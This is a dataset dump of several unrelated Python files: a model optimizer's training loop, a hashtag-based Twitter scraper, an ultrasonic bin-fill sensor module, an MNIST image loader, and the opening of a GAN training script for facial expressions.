train(self,inputs,outputs,epochs=1):\r\n \"\"\"\r\n The training methods\r\n\r\n Parameters\r\n ----------\r\n inputs : np.array\r\n models inputs\r\n outputs : np.array\r\n models outputs\r\n epochs : int, optional\r\n number of times to iterate the training step. The default is 1.\r\n\r\n Returns\r\n -------\r\n loss_list : float\r\n the loss of the model\r\n\r\n \"\"\"\r\n \r\n loss_list = []\r\n for index in range(0,epochs):\r\n self.train_step(inputs,outputs)\r\n loss = self.cost.calculate_loss(self.model.batch_predict(inputs),outputs)\r\n loss_list.append(loss)\r\n print(loss)\r\n return loss_list", "sub_path": "MiniMLCoreOLD/Optimizer.py", "file_name": "Optimizer.py", "file_ext": "py", "file_size_in_byte": 12567, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.average", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 137, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 359, "usage_type": "call"}]} +{"seq_id": "66600755", "text": "import nasty\nfrom polyglot.detect import Detector\nfrom polyglot.text import Text\nimport os\nimport csv\nimport sys\n\nc_lang = \"None\"\n\ntweet_stream_turkey = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_turkey = {'ArtCul' : [\"#SezenAksu\", \"#Cemre\", \"#BugünGünlerdenGALATASARAY\", \"#BugünGünlerdenTrabzonspor\"],\n\t\t\t\t\t\t'BuiTecSci' : [\"#Teknofest2019\", \"#coronaviruesue\"],\n\t\t\t\t\t\t\t'SocSoc' : [\"#Perşembe\",\"#salı\"],\n\t\t\t\t\t\t\t'Pol' : [\"#BaharKalkanı\",\"#DünyanınEnGüçlüOrdusuyuz\"] }\n\ntweet_stream_france = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_france = \t\t{\t'ArtCul' : [\"#MariesAuPremierRegard\", \"#JeudiPhoto\"],\n\t\t\t\t\t\t\t'BuiTecSci' : [\"#CoronavirusFrance\", \"#ChangeNOW2020\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#negrophile4life\",\"#JeSuisVictime\", \"#CesarDeLaHonte\"],\n\t\t\t\t\t\t\t'Pol': [\"#49al3\",\"#greve20fevrier\"] }\n\ntweet_stream_greece = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_greece = \t\t{\t'ArtCul': [\"#AdinamosKrikosGr\", \"#tokafetisxaras\", \"paokoly\"],\n\t\t\t\t\t\t\t'BuiTecSci' :[\"#mitefgreece\", \"#reloadgreece\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#Τσικνοπεμπτη\",\"#28ηΟκτωβριου\"],\n\t\t\t\t\t\t\t'Pol' :[\"#εβρος\",\"#μεταναστες\"] }\n\ntweet_stream_germany = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_germany = \t\t{\t'ArtCul': [\"#AUTGER\", \"#DerSchwarzeSchwan\"],\n\t\t\t\t\t\t\t'BuiTecSci': [\"#spiegelonline\", \"#BahnCard\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#Umweltsau\",\"#Weltknuddeltag\"],\n\t\t\t\t\t\t\t'Pol' :[\"#Sterbehilfe\",\"#Bauernproteste\", \"#dieUhrtickt\"] }\n\ntweet_stream_russia = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_russia = \t\t{\t'ArtCul': [\"#BTSTOUR2020_Russia\", \"#Биатлон\"],\n\t\t\t\t\t\t\t'BuiTecSci' :[],\n\t\t\t\t\t\t\t'SocSoc' :[],\n\t\t\t\t\t\t\t'Pol': [] }\n\ntweet_stream_japan = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_japan = \t\t{\t'ArtCul': [\"#popjwave\", \"#annkw\"],\n\t\t\t\t\t\t\t'BuiTecSci': [],\n\t\t\t\t\t\t\t'SocSoc': [],\n\t\t\t\t\t\t\t'Pol' :[] }\n\ntweet_stream_india = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_india = \t\t{\t'ArtCul' :[\"#PonniyinSelvan\", \"#NewEra_By_SaintRampalJi\"],\n\t\t\t\t\t\t\t'BuiTecSci' :[\"#IISF2019\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#AskSaiTej\",\"#Dabangg3Reviews\"],\n\t\t\t\t\t\t\t'Pol': [\"#99535_88585_AgainstCAA\",\"#AzadiForAzad\"] }\n\ntweet_stream_native = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_native = \t\t{\t'ArtCul' :[\"#titansvschiefs\", \"#winniethepoohday\"],\n\t\t\t\t\t\t\t'BuiTecSci': [\"#SAMESBC\", \"#ngcx\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#NationalDressUpYourPetDay\",\"#ThingsThatUniteUs\"],\n\t\t\t\t\t\t\t'Pol' :[\"#TellTheTruthJoe\",\"#VirginiaRally\"] }\n\ntweet_stream_worldwide = {'ArtCul':{}, 'BuiTecSci':{}, 'SocSoc':{}, 'Pol':{} }\ntweet_search_worldwide =\t{\t'ArtCul' :[\"#GameOfThrones\", \"#BoyWithLuv\"],\n\t\t\t\t\t\t\t'BuiTecSci': [\"#CES\", \"#COVID2019\"],\n\t\t\t\t\t\t\t'SocSoc': [\"#loveyourpetday\",\"#2020NewYear\"],\n\t\t\t\t\t\t\t'Pol' :[\"#hanau\",\"#InternationalWomensDay\"] }\n\n\t\t\t\t\t\t\ncategories = [\"ArtCul\", \"BuiTecSci\", \"SocSoc\", \"Pol\"] \n\ndef filter_text(txt):\n\tret_list = {}\n\tfor hashtag in txt:\n\t\tlen_raw = 0\n\t\tlen_filtered = 0\n\t\tret_list[hashtag] = {'len_raw': 0, 'len_filtered': 0, 'data':[]}\n\t\tfor tweet in txt[hashtag]:\n\t\t\tlen_raw += 1\n\t\t\tif(Text(tweet.text).language.name == 'English'):\n\t\t\t\tlen_filtered += 1\n\t\t\t\tret_list[hashtag]['data'].append([tweet.text,tweet.url])\n\t\tret_list[hashtag]['len_raw'] = len_raw\n\t\tret_list[hashtag]['len_filtered'] = len_filtered\n\treturn ret_list\n\n\n\n\ndef save_to_file(txt):\n\twith open('info.csv', \"w\") as f:\n\t\tw = csv.DictWriter(f, ['category','hashtag', 'len_raw', 'len_filtered'])\n\t\tw.writeheader()\n\t\tf.close()\n\tfor cat in txt:\n\t\tfor hashtag in txt[cat]:\n\t\t\tos.makedirs(os.path.dirname(cat + '/' + 'info.csv'), exist_ok=True)\n\t\t\trow = {'category': cat, 'hashtag': hashtag, 'len_raw':txt[cat][hashtag]['len_raw'], 'len_filtered':txt[cat][hashtag]['len_filtered']}\n\t\t\twith open('info.csv', \"a\") as f:\n\t\t\t\tw = csv.DictWriter(f, fieldnames=['category','hashtag', 'len_raw', 'len_filtered'])\n\t\t\t\tw.writerow(row)\n\t\t\t\tf.close()\n\t\t\tfilename = cat + '/' + hashtag + '.csv'\n\t\t\tos.makedirs(os.path.dirname(filename), exist_ok=True)\n\t\t\twith open(filename, \"w\", encoding='utf-8') as f:\n\t\t\t\tw = csv.DictWriter(f, ['text','url','lang'])\n\t\t\t\tw.writeheader()\n\t\t\t\tfor line in txt[cat][hashtag]['data']:\n\t\t\t\t\tw.writerow({'text': line[0], 'url': line[1], 'lang': c_lang})\n\n\nif __name__ == \"__main__\":\n\thashtag_file = \"\"\n\tdata_file = \"\"\n\tc_lang = sys.argv[1]\n\tif(c_lang == 'turkish'):\n\t\thashtag_file = tweet_search_turkey\n\t\tdata_file = tweet_stream_turkey\n\telif(c_lang == 'french'):\n\t\thashtag_file = tweet_search_france\n\t\tdata_file = tweet_stream_france\n\telif(c_lang == 'greek'):\n\t\thashtag_file = tweet_search_greece\n\t\tdata_file = tweet_stream_greece\n\telif(c_lang == 'german'):\n\t\thashtag_file = tweet_search_germany\n\t\tdata_file = tweet_stream_germany\n\telif(c_lang == 'russian'):\n\t\thashtag_file = tweet_search_russia\n\t\tdata_file = tweet_stream_russia\n\telif(c_lang == 'japanese'):\n\t\thashtag_file = tweet_search_japan\n\t\tdata_file = tweet_stream_japan\n\telif(c_lang == 'indian'):\n\t\thashtag_file = tweet_search_india\n\t\tdata_file = tweet_stream_india\n\telif(c_lang == 'english'):\n\t\thashtag_file = tweet_search_native\n\t\tdata_file = tweet_stream_native\n\telif(c_lang == 'international'):\n\t\thashtag_file = tweet_search_worldwide\n\t\tdata_file = tweet_stream_worldwide\n\telse:\n\t\tprint(\"Enter valid language preset\")\n\n\tfor cat in categories:\n\t\tfor hashtag in hashtag_file[cat]:\n\t\t\tdata_file[cat][hashtag] = nasty.Search(hashtag, lang=\"en\", max_tweets=1000).request()\n\t\tdata_file[cat] = filter_text(data_file[cat])\n\tsave_to_file(data_file)\n\n\n\n\n\n\t\n\n\n\t\n\n", "sub_path": "src/data/twitterData.py", "file_name": "twitterData.py", "file_ext": "py", "file_size_in_byte": 5545, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "polyglot.text.Text", "line_number": 75, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 87, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 95, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 101, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 110, "usage_type": "attribute"}, {"api_name": "nasty.Search", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "448465540", "text": "#!/usr/bin/python3\nfrom mcush import Mcush\nfrom gpio import common_gpio\nimport yaml\nimport time\nimport asyncio\nimport logging as log\nimport redis\nimport asyncio\nimport math\nimport os\nimport sys\n# sys.path.append(os.path.dirname(__file__))\n\n# 格拉布斯准则表\ntable_glbs_95 = [1.15, 1.46, 1.67, 1.82, 1.94, 2.03,\n 2.11, 2.18, 2.23, 2.29, 2.33, 2.37,\n 2.41, 2.44, 2.47, 2.5, 2.53, 2.56,\n 2.58, 2.60, 2.62, 2.64, 2.66]\ntable_glbs_99 = [1.16, 1.49, 1.75, 1.94, 2.1, 2.22,\n 2.32, 2.41, 2.48, 2.55, 2.61, 2.66,\n 2.71, 2.75, 2.79, 2.82, 2.85, 2.88,\n 2.91, 2.94, 2.96, 2.99, 3.01]\n\n\nclass I2cSonic():\n def __init__(self):\n with open(os.path.abspath(os.path.join(\n os.path.dirname(__file__), '../config.yaml'))) as f:\n config = yaml.load(f.read(), Loader=yaml.FullLoader)\n\n sonic_pin = config['i2c_sonic']\n self.sonic_full = config['sonic_full']\n self.sonic_batch_size = config['sonic_batch_size']\n\n self.scl_metal = sonic_pin['scl_metal']\n self.scl_plastic = sonic_pin['scl_plastic']\n self.scl_paper = sonic_pin['scl_paper']\n self.scl_others = sonic_pin['scl_others']\n\n self.sda_metal = sonic_pin['sda_metal']\n self.sda_plastic = sonic_pin['sda_plastic']\n self.sda_paper = sonic_pin['sda_paper']\n self.sda_others = sonic_pin['sda_others']\n\n self.i2c_metal = m.i2c_init( 0x57, sda=self.sda_metal, scl=self.scl_metal ) \n self.i2c_plastic = sonic_pin['scl_plastic']\n self.i2c_paper = sonic_pin['scl_paper']\n self.i2c_others = sonic_pin['scl_others']\n def write( addr, val ):\n m.i2c( [addr, val] )\n def read( addr ):\n m.i2c( [addr], 3 )[0] # 读单个字符\n\n\ndef sonic_distance(trig_pin, echo_pin, watch_dog=3):\n trig_pin.value = 1\n time.sleep(0.00001)\n trig_pin.value = 0\n\n start_time = time.time()\n watch_time = time.time()\n while echo_pin.value == 0:\n start_time = time.time()\n if (start_time - watch_time > watch_dog):\n log.error('sonic wait for high error')\n return -1\n\n stop_time = time.time()\n while echo_pin.value == 1:\n stop_time = time.time()\n if (stop_time - watch_time > watch_dog):\n log.error('sonic wait for low error')\n return -1\n\n time_elapsed = stop_time-start_time\n distance = time_elapsed * 34300 / 2 # cm\n\n return distance\n\n\ndef mean_distance(trig_pin, echo_pin, batch_size=5):\n rlist = []\n for _ in range(batch_size):\n tmp = sonic_distance(trig_pin, echo_pin)\n rlist.append(tmp)\n if (tmp == -1):\n return -1\n time.sleep(0.01)\n\n rlist = check_glbs(rlist)\n # print('-------------------------------------------')\n # print('processed data: {}, {}/{}'.format(rlist, len(rlist), batch_size))\n # print('-------------------------------------------')\n\n return average(rlist)\n\n\ndef process_sonic_result(num):\n # print(num) # num=0.34\n if num >= 1:\n return 1.0\n if num <= 0:\n return 0.0\n\n num = num*10\n for i in range(0, 10):\n if (num >= i) and (num < i + 1):\n if num - i < 0.5:\n return i/10\n else:\n return (i + 1)/10\n\n\ndef get_full_space():\n # conn = redis.Redis(host='localhost', port=6379, decode_responses=True)\n\n metal = mean_distance(trig, echo_metal, 50)\n plastic = mean_distance(trig, echo_plastic, 50)\n paper = mean_distance(trig, echo_paper, 50)\n others = mean_distance(trig, echo_others, 50)\n\n\ndef get_left_space(trig, echo_metal, echo_plastic, echo_paper,\n echo_others, sonic_batch_size, sonic_full, category=0):\n ret = mean_distance(trig, echo_metal, sonic_batch_size)\n metal = process_sonic_result(\n ret/sonic_full['metal'])\n ret = mean_distance(trig, echo_plastic, sonic_batch_size)\n plastic = process_sonic_result(\n ret/sonic_full['plastic'])\n ret = mean_distance(trig, echo_paper, sonic_batch_size)\n paper = process_sonic_result(\n ret/sonic_full['paper'])\n ret = mean_distance(trig, echo_others, sonic_batch_size)\n others = process_sonic_result(\n ret/sonic_full['others'])\n return metal, plastic, paper, others\n\n\ndef average(dataList):\n sum_num = 0\n for i in dataList:\n sum_num += i\n return sum_num/len(dataList)\n\n\ndef variance(dataList):\n aver = average(dataList)\n sum_num = 0\n for i in dataList:\n sum_num += (i - aver) ** 2\n return math.sqrt(sum_num/len(dataList)/(len(dataList)-1))\n\n\ndef check_glbs(data):\n if len(data) < 3:\n return - 1\n g = table_glbs_95[len(data) - 3]\n\n while True:\n varian = variance(data)\n aver = average(data)\n length = len(data)\n for i in data:\n if abs(i - aver) > g * varian * math.sqrt(length):\n data.remove(i)\n break\n if len(data) == length:\n break\n return data\n\n\ndef test():\n with open(os.path.abspath(os.path.join(\n os.path.dirname(__file__), '../config.yaml'))) as f:\n config = yaml.load(f.read(), Loader=yaml.FullLoader)\n\n sonic_pin = config['sonic_pin']\n sonic_full = config['sonic_full']\n sonic_batch_size = 25\n\n trig = common_gpio(sonic_pin['sonic_trig'])\n echo_metal = common_gpio(sonic_pin['echo_metal'])\n echo_plastic = common_gpio(sonic_pin['echo_plastic'])\n echo_paper = common_gpio(sonic_pin['echo_paper'])\n echo_others = common_gpio(sonic_pin['echo_others'])\n\n trig.value = 0\n # time.sleep(0.5)\n\n start=time.time()\n ret = mean_distance(trig, echo_metal, sonic_batch_size)\n print(ret)\n metal = process_sonic_result(\n ret/sonic_full['metal'])\n ret = mean_distance(trig, echo_plastic, sonic_batch_size)\n print(ret)\n plastic = process_sonic_result(\n ret/sonic_full['plastic'])\n ret = mean_distance(trig, echo_paper, sonic_batch_size)\n print(ret)\n paper = process_sonic_result(\n ret/sonic_full['paper'])\n ret = mean_distance(trig, echo_others, sonic_batch_size)\n print(ret)\n others = process_sonic_result(\n ret / sonic_full['others'])\n end=time.time()\n print('metal: {}, plastic: {}, paper: {}, others: {}'.format(\n metal, plastic, paper, others))\n print('used time: {}'.format(end-start))\n\n\nif __name__ == \"__main__\":\n test()\n", "sub_path": "pydev/sonic.py", "file_name": "sonic.py", "file_ext": "py", "file_size_in_byte": 6461, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 30, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 30, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "time.time", "line_number": 61, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 66, "usage_type": "call"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "time.time", "line_number": 71, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 73, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 89, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 153, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path", "line_number": 176, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 177, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 177, "usage_type": "attribute"}, {"api_name": "gpio.common_gpio", "line_number": 183, "usage_type": "call"}, {"api_name": "gpio.common_gpio", "line_number": 184, "usage_type": "call"}, {"api_name": "gpio.common_gpio", "line_number": 185, "usage_type": "call"}, {"api_name": "gpio.common_gpio", "line_number": 186, "usage_type": "call"}, {"api_name": "gpio.common_gpio", "line_number": 187, "usage_type": "call"}, {"api_name": "time.time", "line_number": 192, "usage_type": "call"}, {"api_name": "time.time", "line_number": 209, "usage_type": "call"}]} +{"seq_id": "255417060", "text": "import numpy as np\nfrom keras.utils import np_utils\nfrom PIL import Image\nimport keras\n\n# input image dimensions\n# 28x28 图像\nimg_rows, img_cols = 28, 28\ntest_imgs = []\ntest_lables = []\nClassNum = 10\nTestSampleNum = 20000 # テストサンプル総数\nClassNum = 10 # クラス数（今回は10）\nImageSize = 28 # 画像サイズ（今回は縦横ともに28）C:\\course\\partten\\Python\\Images\\Images\\TestSamples\nTestDataFile = '/Users/krogq/PycharmProjects/test20000/{0:1d}_{1:1d}.png'\n\n\n\n#读取文件夹mnist下的42000张图片，图片为灰度图，所以为1通道，\n#如果是将彩色图作为输入,则将1替换为3,图像大小28*28\ndef load_data():\n\n test_data = np.empty((TestSampleNum, 1, 28, 28), dtype=\"float32\")\n test_label = np.empty((TestSampleNum,), dtype=\"uint8\")\n\n for i in range(TestSampleNum):\n now_lable = i // 2000\n sample = i % 2000\n filename = TestDataFile.format(now_lable, sample)\n # print(filename)\n img = Image.open(filename)\n arr = np.asarray(img, dtype=\"float32\")\n test_data[i, :, :, :] = arr\n test_label[i] = int(now_lable)\n test_data = test_data.reshape(TestSampleNum, 28, 28, 1)\n test_label = np_utils.to_categorical(test_label, 10)\n index = np.arange(TestSampleNum)\n np.random.shuffle(index)\n test_data = test_data[index, :, :, :] # X_train是训练集，y_train是训练标签\n test_label = test_label[index]\n return (test_data, test_label)\n\n\n# the data, shuffled and split between train and test sets\n# x_test, y_test = load_data()\n# np.savez('mnist20000.npz', x_test = x_test, y_test = y_test)\n# model = keras.models.load_model('lenet5.h5')\n# score = model.evaluate(x_test, y_test, verbose=0)\n# print('Test loss:', score[0])\n# print('Test accuracy:', score[1])\n\n\ndef preprocessing_test_batch(x_test,y_test):\n num_classes = 10\n # x_test = np.copy(x_test)\n x_test = x_test.reshape(x_test.shape[0], 28, 28, 1)\n x_test = x_test.astype('float32')\n # x_test /= 255\n # convert class vectors to binary class matrices\n y_test = keras.utils.to_categorical(y_test, num_classes)\n return x_test,y_test\n\ndef load_lenet5_data():\n data = np.load('/Users/krogq/PycharmProjects/DLtest/train.npz')\n x_test = data['x_train']\n y_test = data['y_train']\n return x_test, y_test\n\nx_test, y_test = load_lenet5_data()\n\nprint(len(x_test))\n# model = keras.models.load_model('lenet5.h5')\n# score = model.evaluate(x_test, y_test, verbose=0)\n# print('Test loss:', score[0])\n# print('Test accuracy:', score[1])", "sub_path": "pastwork/src/png2np.py", "file_name": "png2np.py", "file_ext": "py", "file_size_in_byte": 2545, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.empty", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.utils.np_utils.to_categorical", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.utils.np_utils", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 38, "usage_type": "attribute"}, {"api_name": "keras.utils.to_categorical", "line_number": 60, "usage_type": "call"}, {"api_name": "keras.utils", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "560961565", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport datetime\nimport json\nimport traceback\n\nfrom functools import partial\n\nimport imlib as im\nimport numpy as np\nimport pylib\nimport tflib as tl\nimport tensorflow as tf\nfrom scipy.io import loadmat\n\nimport models\nimport data\nfrom vggface import id_preserve\n\n# ==============================================================================\n# = param =\n# ==============================================================================\n# python train.py --img_size 128 --experiment_name ck_cv1\n\n\nparser = argparse.ArgumentParser()\n# model\nparser.add_argument('--img_size', dest='img_size', type=int, default=128)\nparser.add_argument('--shortcut_layers', dest='shortcut_layers', type=int, default=0) # skip connection, don't use when randb_ enabled \nparser.add_argument('--inject_layers', dest='inject_layers', type=int, default=0)\nparser.add_argument('--enc_dim', dest='enc_dim', type=int, default=64)\nparser.add_argument('--dec_dim', dest='dec_dim', type=int, default=64)\nparser.add_argument('--dis_dim', dest='dis_dim', type=int, default=64)\nparser.add_argument('--dz_dim', dest='dz_dim', type=int, default=64)\nparser.add_argument('--z_dim', dest='z_dim', type=int, default=64) # should: z_dim%4==0\nparser.add_argument('--dis_fc_dim', dest='dis_fc_dim', type=int, default=1024)\nparser.add_argument('--enc_layers', dest='enc_layers', type=int, default=6)\nparser.add_argument('--dec_layers', dest='dec_layers', type=int, default=6)\nparser.add_argument('--dis_layers', dest='dis_layers', type=int, default=5)\nparser.add_argument('--dz_layers', dest='dz_layers', type=int, default=3)\n# training\nparser.add_argument('--mode', dest='mode', default='wgan', choices=['wgan', 'lsgan', 'dcgan'])\nparser.add_argument('--epoch', dest='epoch', type=int, default=200, help='# of epochs')\nparser.add_argument('--batch_size', dest='batch_size', type=int, default=16)\nparser.add_argument('--lr', dest='lr', type=float, default=0.0002, help='learning rate')\nparser.add_argument('--n_d', dest='n_d', type=int, default=5, help='# of d updates per g update')\nparser.add_argument('--b_distribution', dest='b_distribution', default='none', choices=['none', 'uniform', 'truncated_normal'])\nparser.add_argument('--thres_int', dest='thres_int', type=float, default=0.5)\nparser.add_argument('--test_int', dest='test_int', type=float, default=1.0)\nparser.add_argument('--n_sample', dest='n_sample', type=int, default=16, help='# of sample images')\n# others\nparser.add_argument('--use_cropped_img', dest='use_cropped_img', action='store_true')\nparser.add_argument('--experiment_name', dest='experiment_name', default='ck_cv1_shortcut0_dz_gencfc')#datetime.datetime.now().strftime(\"%I:%M%p on %B %d, %Y\")\n\nargs = parser.parse_args()\n# model\nimg_size = args.img_size\nshortcut_layers = args.shortcut_layers\ninject_layers = args.inject_layers\nenc_dim = args.enc_dim\ndec_dim = args.dec_dim\ndis_dim = args.dis_dim\ndz_dim = args.dz_dim\nz_dim = args.z_dim\ndis_fc_dim = args.dis_fc_dim\nenc_layers = args.enc_layers\ndec_layers = args.dec_layers\ndis_layers = args.dis_layers\ndz_layers = args.dz_layers\n# training\nmode = args.mode\nepoch = args.epoch\nbatch_size = args.batch_size\nbatch_size_test = 5\nlr_base = args.lr\nn_d = args.n_d\nb_distribution = args.b_distribution\nthres_int = args.thres_int\ntest_int = args.test_int\nn_sample = args.n_sample\n# others\nuse_cropped_img = args.use_cropped_img\nexperiment_name = args.experiment_name\n\npylib.mkdir('./output/%s' % experiment_name)\nwith open('./output/%s/setting.txt' % experiment_name, 'w') as f:\n f.write(json.dumps(vars(args), indent=4, separators=(',', ':')))\n\n\n# ==============================================================================\n# = graphs =\n# ==============================================================================\n\n# data\nsess = tl.session()\ntr_data = data.ImgDataPair('./data/CK+/cross_validation1/train', img_size, batch_size, \n pair=True, sess=sess, crop=use_cropped_img)\nsa_data = data.ImgDataPair('./data/CK+/cross_validation1/train', img_size, n_sample, \n pair=False, sess=sess, crop=use_cropped_img) # for sample\nte_data = data.ImgDataPair('./data/CK+/cross_validation1/test_peak', img_size, batch_size_test, \n pair=False,drop_remainder=False, shuffle=False, repeat=1, sess=sess, crop=use_cropped_img)\nn_classes = len(tr_data.class_to_idx)\n\nvgg_path = './data/vgg-face.mat' # download from http://www.vlfeat.org/matconvnet/pretrained/\nvgg_weights = loadmat(vgg_path)\n\n# models\nGenc = partial(models.Genc, dim=enc_dim, n_layers=enc_layers, z_dim=z_dim)\nGdec = partial(models.Gdec, dim=dec_dim, n_layers=dec_layers, shortcut_layers=shortcut_layers, inject_layers=inject_layers)\nDimg = partial(models.Dimg, n_classes=n_classes, dim=dis_dim, fc_dim=dis_fc_dim, n_layers=dis_layers)\nDz = partial(models.Dz, dim=dz_dim, n_layers=dz_layers)\n\n# inputs\nlr = tf.placeholder(dtype=tf.float32, shape=[])\n\nxa = tr_data.batch_op[0]\nxap = tr_data.batch_op[1]\na = tr_data.batch_op[2]\na = tf.one_hot(a, n_classes)\nb = tf.random_shuffle(a)\n\n_a = (tf.to_float(a) * 2 - 1) * thres_int\nif b_distribution == 'none':\n _b = (tf.to_float(b) * 2 - 1) * thres_int\nelif b_distribution == 'uniform':\n _b = (tf.to_float(b) * 2 - 1) * tf.random_uniform(tf.shape(b)) * (2 * thres_int)\nelif b_distribution == 'truncated_normal':\n _b = (tf.to_float(b) * 2 - 1) * (tf.truncated_normal(tf.shape(b)) + 2) / 4.0 * (2 * thres_int)\n\nrand_z = tf.placeholder(dtype=tf.float32, shape=[None, z_dim])\nxa_sample = tf.placeholder(tf.float32, shape=[None, img_size, img_size, 3])\n_b_sample = tf.placeholder(tf.int32, shape=[None, ])\n_b_sample = tf.one_hot(_b_sample, n_classes)\n\n# generate\nz = Genc(xa)\nxb_ = Gdec(z, _b)\n\nxa_iden = z[-1]\nrand_iden = tf.reshape(rand_z, [-1, tl.shape(xa_iden)[1], tl.shape(xa_iden)[2], z_dim//(tl.shape(xa_iden)[1]**2)])\nrandb_ = Gdec([rand_iden], _b)\n\nwith tf.control_dependencies([xb_, randb_]):\n xa_ = Gdec(z, _a)\n\n# discriminate\nxa_logit_gan, xa_logit_cls = Dimg(xa)\nxb__logit_gan, xb__logit_cls = Dimg(xb_)\n\nxa_iden_logit_gan = Dz(xa_iden)\nrand_iden_logit_gan = Dz(rand_iden)\n\n# discriminator losses\n# for Dz\nxa_iden_gan_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.zeros_like(xa_iden_logit_gan), \n logits=xa_iden_logit_gan\n )\n )\nrand_iden_gan_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.ones_like(rand_iden_logit_gan), \n logits=rand_iden_logit_gan\n )\n )\ndz_loss = (xa_iden_gan_loss + rand_iden_gan_loss)*1.0\n\n# for Dimg\nif mode == 'wgan': # wgan-gp\n wd = tf.reduce_mean(xa_logit_gan) - tf.reduce_mean(xb__logit_gan)\n dimg_loss_gan = -wd\n gp = models.gradient_penalty(Dimg, xa, xb_)\nelif mode == 'lsgan': # lsgan-gp\n xa_gan_loss = tf.losses.mean_squared_error(tf.ones_like(xa_logit_gan), xa_logit_gan)\n xb__gan_loss = tf.losses.mean_squared_error(tf.zeros_like(xb__logit_gan), xb__logit_gan)\n 